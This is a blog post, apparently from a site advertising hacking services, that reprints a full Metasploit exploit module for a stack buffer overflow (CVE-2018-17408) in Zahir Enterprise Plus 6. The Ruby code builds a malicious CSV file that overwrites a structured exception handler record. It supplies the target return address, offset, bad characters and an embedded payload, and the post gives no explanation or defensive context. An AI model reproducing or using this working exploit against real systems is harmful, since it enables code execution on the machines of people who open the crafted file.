Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863557469

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Zahir Enterprise Plus 6 Stack Buffer Overflow",
      'Description'    => %q{
       This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.
       The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters
       via Import from other File. This results in overwriting a structured exception handler record.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'f3ci',       # initial discovery
          'modpr0be'    # poc and Metasploit Module
        ],
      'References'      =>
        [
          [ 'CVE', '2018-17408' ],
          [ 'EDB', '45505' ]
        ],
      'Platform'        => 'win',
      'Targets'         =>
        [
          ['Zahir Enterprise Plus 6 <= build 10b',
            {
              #P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl)
              'Ret'     => 0x52016661,
              'Offset'  => 3041
            }
          ]
        ],
      'Payload'         =>
        {
          'Space'       => 5000,
          'BadChars'    => "\x00\x0a\x0d\x22\x2c",
          'DisableNops'     => true
        },
      'DisclosureDate'  => 'Sep 28 2018',
      'DefaultTarget'   => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv'])
    ])
  end

  def exploit
    buf = rand_text_alpha_upper(target['Offset'])
    buf << "\r\n"   # crash chars
    buf << rand_text_alpha_upper(380) # extra chars to hit the offset
    buf << generate_seh_record(target.ret)
    buf << payload.encoded

    file_create(buf)
  end
end